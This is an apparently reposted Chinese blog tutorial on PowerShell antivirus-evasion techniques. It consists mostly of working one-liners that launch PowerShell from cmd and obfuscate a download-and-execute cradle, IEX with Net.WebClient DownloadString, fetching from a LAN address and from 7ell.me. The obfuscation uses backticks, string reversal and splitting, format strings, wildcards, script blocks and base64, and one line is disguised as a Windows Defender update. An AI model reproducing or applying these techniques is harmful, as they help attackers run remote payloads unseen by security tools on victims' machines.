系统相关
首页 > 系统相关> > powershell语言特性（免杀方法）

powershell语言特性（免杀方法）

作者：互联网

powershell语言特性（免杀方法）

一些前置知识

1. cmd启动powershell

1.1 常规方法

cmd.exe /c "powershell -c write-host success -force green"
cmd.exe /c "echo write-host success -force green | powershell -" # 最后的那个-不能去掉
cmd.exe /c "set p1=power && set p2=shell && cmd /c write-host success -fore green ^|%p1%%p2% -"

1.2 管道输入流

cmd.exe /c "echo write-host success -fore green | powershell iex $input"

1.3 利用环境变量

cmd.exe /c "set cmd=write-host env -fore green && powershell iex $env:cmd"
cmd.exe /c "set cmd=write-host env -fore green && cmd /c echo %cmd%|powershell -"
cmd.exe /c "set cmd=write-host env -fore green && powershell iex([environment]::getEnvironmentVariable('cmd','process'))"
cmd.exe /c "set cmd=write-host env -fore green && powershell iex((get-childitem/childItem/GCI/DIR/LS env:cmd).value)"

1.4 从其他进程获取参数（这个我没有试验成功）

cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"

cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"

1.5 从粘贴板（这种我也没有试验成功）

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

2. 混淆

Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.1.103/test")。

Get-Variable/GV/Variable cmd -ValueOnly
-ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO......,-Va,-V

(Get-Item/GI/Item Variable:cmd).Value
(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value

2.0 简单处理

  1. 可以去掉System
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://192.168.1.103/test")

可以去掉System

  1. 将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://192.168.1.103/test")

10_将http分开 号连接

  1. 变量代替
$wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://192.168.1.103/test') | IEX

11_变量代替

  1. 把downloadstring使用单双引号引起来
Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://192.168.1.103/test')

12_把downloadstring使用单双引号引起来

  1. 使用invoke方法
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://192.168.1.103/test')

$ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://192.168.1.103/test')

13_使用invoke方法

2.1 转义符(反引号)

0     Null
`a    警报
`b    退格
`f    换页
`n    换行
`r    回车
`t    水平制表
`v    垂直制表

Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://192.168.1.103/test')
Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://192.168.1.103/test') 
Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"('h'+'ttp://192.168.1.103/test')

14_反引号

Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://192.168.1.103/test')

15_同样可以使用在Net.Webclient上

Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"('h'+'ttp://192.168.1.103/test')

$v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"('h'+'ttp://192.168.1.103/test')

$num1="l";$num2="s";iex($num1+$num2)

16_括号代替空格，或者多个定义变量来连接替换

2.2 简写与通配符*

&(Get-Command New-Obje*)     &(Get-Command *w-O*)     &(GCM *w-O*)     &(COMMAND *w-*ct)
.(Get-Command New-Obje*)     .(Get-Command *w-O*)     .(GCM *w-O*)     .(COMMAND *w-*ct)
$var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)

Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test')

$var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test')

ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test')

17_结合其他方法混淆

2.3 脚本块

# 以下是执行脚本块的方法：
invoke-command{xxxx}  ICM{xxxx}  {xxxx}.invoke()  &{xxxx}  .{xxxx}

# 以下是创建脚本块的方式
$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")
${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")
$ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") 
${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") 
$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")

25_脚本块

[Scriptblock]::Create("expression")
([Type]"Scriptblock")::create('expression')
[Scriptblock]::("Create").Invoke("expression")
([Type]("Scriptblock"))::("Create").Invoke("expression")
[Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression") 
([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")

19_使用脚本块
26_脚本块

.(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('h'+'ttp://192.168.1.103/test'))

18_使用脚本块

2.4 字符串处理

  1. 反转
$reverseCmd= ")'tset/301.1.861.291//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
1. IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
2. $reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray-Join '') | IEX
3. IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX

反转

  1. 分割截断 or 替换字符
$cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString('http://192.168.1.103/test')";
1. IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
2. IEX $cmdWithDelim.Replace("~~","") | IEX
3. IEX ($cmdWithDelim-Replace "~~","") | IEX

分割截断 or 替换字符

  1. 格式填充，-f 格式化。
//将NE download http://分别填到{0},{1},{2}
IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}192.168.1.103/test")' -f 'Ne', 'Download','http://') | IEX 
//示例2
.("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','1.','103/test','/','192.168.','ht'))

-f 格式化
-f 格式化

  1. 变量拼接
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://192.168.1.103/text')";
1. IEX ($c1,$c2,$c3 -Join '') | IEX
2. IEX ($c1,$c3 -Join $c2) | IEX
3. IEX ([string]::Join($c2,$c1,$c3)) | IEX   # 这一条在我运行的时候发生了报错：找不到“Join”的重载，参数计数为:“3”。
4. IEX ([string]::Concat($c1,$c2,$c3)) | IEX
5. IEX ($c1+$c2+$c3) | IEX 
6. IEX "$c1$c2$c3" | IEX

31_变量拼接

2.5 编码

  1. Ascii

    • 使用[char]xx 代替字符 如：[char]59-->;
    //不用分号
$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX

  2. Base64

    • 命令行参数使用
    -EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E

    34_base64

    • 解码echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA
    1.PS 2.0 ->  [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
2.PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')

    Base64

  3. .NET的方法

IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))
  1. 其他不同的方式编码 hex/octal/binary/BXOR/etc.
[Convert]::ToString(1234, 2)
[Convert]::ToString(1234, 8)
[Convert]::ToString(1234, 16)

* 也是转换为16进制

"{0:X4}" -f 1234  小写： "{0:x4}" -f 1234
[Byte][Char]([Convert]::ToInt16($_,16)) 
($cmd.ToCharArray() | % {[int]$_}) -Join $delim   //可以去掉空白 -Join$delim
$bytes[$i] = $bytes[$i] -BXOR 0x6A                //可以去点空白  $bytes[$i]-BXOR0x6A)

2.6 自构造关键字替换

DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name)
IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')

IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')

(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)

3. IEX 的处理与其他执行方法

标签：IEX,Object,免杀,Invoke,cmd,特性,New,powershell
来源： https://www.cnblogs.com/02SWD/p/15902377.html